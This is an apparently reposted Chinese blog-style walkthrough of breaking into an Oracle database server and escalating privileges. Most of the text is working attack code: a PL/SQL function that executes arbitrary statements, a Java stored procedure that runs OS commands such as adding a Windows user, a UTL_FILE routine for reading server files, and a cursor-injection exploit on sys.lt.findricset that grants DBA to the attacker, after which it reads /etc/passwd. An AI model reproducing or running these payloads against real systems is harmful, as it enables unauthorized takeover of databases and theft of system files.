您好,欢迎访问一九零五行业门户网

入侵Oracle服务器进一步获取权限

很快便连接上oracle服务器,此时发现: 1.连接后不是dba权限 2.不能利用sys.dbms_export_extension.get_domain_index_
很快便连接上oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用sys.dbms_export_extension.get_domain_index_tables漏洞提升权限
3.运行select utl_http.request(‘’) from dual 后发现oracle服务器不能连接网络。
幸运的是,
运行
create or replace function linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;
成功!这个用户具有create proceduce权限。
此时马上想到创建java扩展执行命令:
create or replace and compile java source named “linxutil” as import java.io.*; public class linxutil extends object {public static string runcmd(string args) {try{bufferedreader myreader= new bufferedreader(new inputstreamreader( runtime.getruntime().exec(args).getinputstream() ) ); string stemp,str=”;while ((stemp = myreader.readline()) != null) str +=stemp+” “;myreader.close();return str;} catch (exception e){return e.tostring();}}}
begin dbms_java.grant_permission(‘public’, ‘sys:java.io.filepermission’, ‘’, ‘execute’ );end;
create or replace function linxruncmd(p_cmd in varchar2) return varchar2 as language java name ‘linxutil.runcmd(java.lang.string) return string’
select * from all_objects where object_name like ‘%linx%’
grant all on linxruncmd to public
select linxruncmd(‘cmd /c net user linx /add’) from dual
但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有utl库可以利用:
create or replace function linxutlreadfile (filename varchar2) return varchar2 is
fhandler utl_file.file_type;
buf varchar2(4000);
output varchar2(8000);
begin
fhandler := utl_file.fopen(‘utl_file_dir’, filename, ‘r’);
loop
begin
utl_file.get_line(fhandler,buf);
dbms_output.put_line(‘cursor: ‘||buf);
exception
when no_data_found then exit;
end;
output := output||buf||chr(10);
end loop;
utl_file.fclose(fhandler);
return output;
end;
utl_file_dir需要先用:
create or replace directory utl_file_dir as ‘/etc’;
指定目。但运行后发现没有权限。只好想办法提权。
***************游标注射***************
老外写了n个pdf介绍这技术,,我精简了代码:
declare
myc number;
begin
myc := dbms_sql.open_cursor;
dbms_sql.parse(myc,’declare pragma autonomous_transaction; begin execute immediate ”grant dba to linxlinx_current_db_user”;commit;end;’,0);
dbms_output.put_line(‘cursor: ‘||myc);
begin sys.lt.findricset(‘.”||dbms_sql.execute( ‘||myc||’ )||””)–’,'x’); end;
raise no_data_found;
exception
when no_data_found then dbms_output.put_line(‘cursor: ‘||myc);
when others then dbms_output.put_line(‘cursor: ‘||myc);
end;
运行后重新连接就有dba权限了,简单吧……
现在可以读取文件了:
create or replace directory utl_file_dir as ‘/etc’;
select linxutlreadfile(‘passwd’) from dual
后面就简单了,不写了。
其它类似信息

推荐信息